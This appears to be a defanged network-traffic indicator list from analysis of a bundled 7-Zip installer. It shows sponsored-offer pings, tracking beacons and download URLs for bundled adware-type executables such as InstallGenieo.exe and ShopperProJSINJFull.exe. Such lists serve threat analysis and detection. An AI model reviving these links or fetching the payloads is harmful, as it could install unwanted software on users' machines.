hxxp://theswiftrecord.com/ii?alpha=VX0QKRUFWQgKezxyPwMaVDlDJBVVIRwBGGBOBDhQByFablBADHMYIgF7HE0RWjRXKH8MTStpLh12Q3UCVTZsLX05dkw3EQEhAi5WcD5rBkZ4Iks4SAYpUxZCLhAWH39TKUpMDQJ3Fy5mUzsMK1l7aBMOdFcIf1pXPH4wAQFQXnp0JTZ7RHMeBiEHKV4peXhFHgljFH1JR3pTAUB1YVA0BAp5BH9MX0NFSS8CaX5tG29mFHx3VRV3KVdJZUBzBlIpen42ZAMNZh5hQhBzA200JhIacDhILBYEO1lFEycOQDJNRXMPeUVCDG0GKBVgT3ASTXtyJTcBVDloR05rITdcBn0vajpkIQNpA3oxFmoVaz4/GEkHawZ+V0JmQlMVIgNRPksVdR9qAEBQQwRrXS8NMUQfNFYgOAtcc14JHicYNltAMAl3On8qBiVwQHBCeQMwazgBGhN3SHoJTjFTBFMuGhJ3CFMuWmJBDQEQVX5XNQkpTgsZH35pXw97PRcWL0wDUgxrOT83ZCIMOGd6TnhdVn0iOxQaYxJ5BjhVLAFYc15UQylcTzwqQldRQ0VPHQ59SGoVVXt2bAomaAc7IxA4GmV3BW41ejYtPwk4BVF/VSFBPzdrRgIAAVE5Awc=
hxxp://theswiftrecord.com/if?alpha=WHlYKGBEOyYoRm51dwJvWT0LJWBYJVQAbW1KTDklCiUSbyVNCDsZVwx/VExkVzAfKQoBSWNoWxByC3R3WDIkLAg0cgQ2ZAwlSi8jfTojBzN1JgM5PQstGxc3IxReHgpeLQJNeA9zXy8TXj9EKix2bFsPAVoMN1siMXp4AHRdWjJ9RTsYQmE6VVwQdHFfIHIaAV08GipkWCFLWWQ4UVdofF8tGj5hEwdRQAxYPkQqMxI7CCtuGlA7c3cMP1UrNAg6cH1ARDlFUmsIJVAtKy17LkZ8G2Nbez1YK1gLHHFEVw8fSHdHeixNUFU5VwRvG2lyGH9beQEKVnI8fQc5XDZ7IHV3akl1JExwdm58EHlqYzo+QXJ6JwEvaQ0/VAs+f0tKFGxOblF8JlRaBk4ESj1aLy8DaV18DBtadGx7FyoZNCcOdzQiBjdlGiI5Snkfc2IpDHARPkMmBmkkKyJUEDV6BzkuLRp9RydzU0NVWhgEOQQjeBI+G3AVWBM3KiBSIlh5dl0mISgcM30QNhQDJ04nMSFvbhk2FxMPJX8balkLPXAaLhQTIFkSajpQVlUqfTVFNThlQGI7AFsJTWM2MiICTiU0CDxCcVRyPktodmo1LV5WXWlaHyFBdSosehcvWGwnXAY0f0k=
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.47217198144139605
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=8&utmn=1240112388&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386030931&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.21302719032317296
hxxp://dt3j8jg8ei6zr.cloudfront.net/mirror/w2m/index.html 54.230.203.223
hxxp://dt3j8jg8ei6zr.cloudfront.net/mirror/w2m/scripts/jquery.min.js 54.230.203.223
hxxp://dt3j8jg8ei6zr.cloudfront.net/mirror/w2m/scripts/hatter.js 54.230.203.223
hxxp://e6845.ce.akamaiedge.net/crls/secureca.crl
hxxp://e8218.ce.akamaiedge.net/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBeKFkbaBLGY
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U=
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=9&utmn=984535662&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(web2mob_messenger_for_android)&utmhid=1118226650&utmr=-&utmp=Install_Complete&utmht=1430386035515&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d3i779maf1zmkk.cloudfront.net/affiliates/filesfrog/eula.html 54.230.202.110
hxxp://clients.l.google.com/__utm.gif?utmwv=5.6.4&utms=10&utmn=2018223369&utmhn=installer.filebulldog.com&utmhid=1940924065&utmr=-&utmp=Installer_Init&utmht=1430386036996&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d3ffn9rvm681fx.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html 54.230.203.188
hxxp://d3cu4o8yyw81v.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.230.202.254
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK 198.232.124.192
hxxp://install-cdn.theswiftrecord.com/sd?is=sm 87.245.221.113
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= 23.43.139.27
hxxp://stats.nodedomax.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935 54.231.34.36
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385934 54.231.10.140
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe 212.7.199.182
hxxp://ez1lb5-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe 198.232.124.192
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe 69.16.175.10
hxxp://errors.nodedomax.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925 54.231.10.140
hxxp://webprotectionfree.com/node/?s=9813&br=1 37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7349.ashx?e=AOb NGCDna nb5JQEhhcuN9Z3/UbBJaWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaPQkti/l2azbZrHTihd p2c9x4wF X9zLP3GhIJ9WssJ0qbfRkh1l0I8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/QbA5GlSNwLtYBu8lUTFLA92DeYRi6mthkbITKhm rg5T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430385923 54.231.10.140
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385931 54.231.10.140
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.47217198144139605 78.138.127.15
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=985526196&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Installer_Init&utmht=1430385828956&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=2006071221&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESS 2X0hFWujhEMg9dhftTco4G r 3F6T7dpypC5B03AEIe3wj/eXUyiL2op//ppvq76DHhyPlPnkPFzD22NQd3rzTwCJRAS6Wd5SlKONgbzyatPS5dHttUZtruOKPKBI3je76xrpUJdpEJAAj4ACHMGtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== 198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&0.19872140701700747 78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=5&utmn=1450929333&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Installer_Init&utmht=1430385906360&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.22835313965265952 78.138.127.15
hxxp://stats.nodedomax.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936 54.231.34.36
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5946.ashx?e=eISsn0A7mAZMV62Gsz5XOWaeKb06PAQA7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDeRmGi7guTMeaY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fkJkRzvnrV5sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESWOmrCoYyvl0E8SFHLIEPsCOn2ZuaqIYcuCFW/zxMyvvLaPsNuIhxx0d1GAfvnAkXZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== 198.232.124.192
hxxp://clients1.google.com/ocsp 216.58.209.206
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAANwFAj/+8EUwCY4AAQAA3AU= 108.162.232.201
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430385926 54.231.10.140
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1
hxxp://32wd2feb-457zol7j.netdna-ssl.com/yta33_full.exe 198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.07590714561381573 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.8645311506713083 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESmtnRdFSmbGtLnmup1KByvgTxIUcsgQ wP4sPieL6LVh0ElnmuIhy 1QTUZAdlB9AdAHFPMr9sQl41TYDIx2MPav0OaibzPUF3PQwpGKbrsy5MI/JS5m3hd8UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=M5cPy8d51cOS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430385926 54.231.10.140
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 iqUVvKp9Lg9XHvdM54V2LCI4G r 3F6T7B28jN/IR4nVi6hMIdMwrqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://installer.filebulldog.com/installer/ajax 78.138.127.15
hxxp://webprotectionfree.com/c/SetupWPP.exe 37.58.109.2
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=531905859&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385802796&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3edf2f97043fdfac 87.245.221.90
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.35253391287601243 78.138.127.15
hxxp://logs.nodedomax.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 69.16.175.10
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?91d4d4c01591c64a 87.245.221.90
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.5830329402833516 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.7302640051725993 78.138.127.15
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=WL9usJOVMsPXmto/P2xI1u cNvWTA7AjrP2/PvNLHquqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7 3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBxE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== 198.232.124.192
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhhrE10BUs2OqNBLZ9KgzPNA== 108.162.232.201
hxxp://webprotectionfree.com/node/?s=9813&br=4 37.58.109.2
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&display_height=195&0.3646367504845442 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8ip2eBShmJaQJL yAYdXN5RADzUgCGENkGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZ3z9toNSsY8RWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghMv9wmppQPAcE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsDCpNGDQQzR7j3gDjDqFq/4gMCOsf /nVlgSThza2qrBFqlLM82nFjbSJGWd2CgPQ= 198.232.124.192
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc= 23.43.139.27
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=hNMAVKhukrwLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h5nHKdBv6DzBM0FiFjdakeNfk2ju1uana5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaQiBE4y6i2IRb Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGWRnxSIOITYlSnkSnlVgA Q== 54.197.238.106
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=9&utmn=984535662&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(web2mob_messenger_for_android)&utmhid=1118226650&utmr=-&utmp=Install_Complete&utmht=1430386035515&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
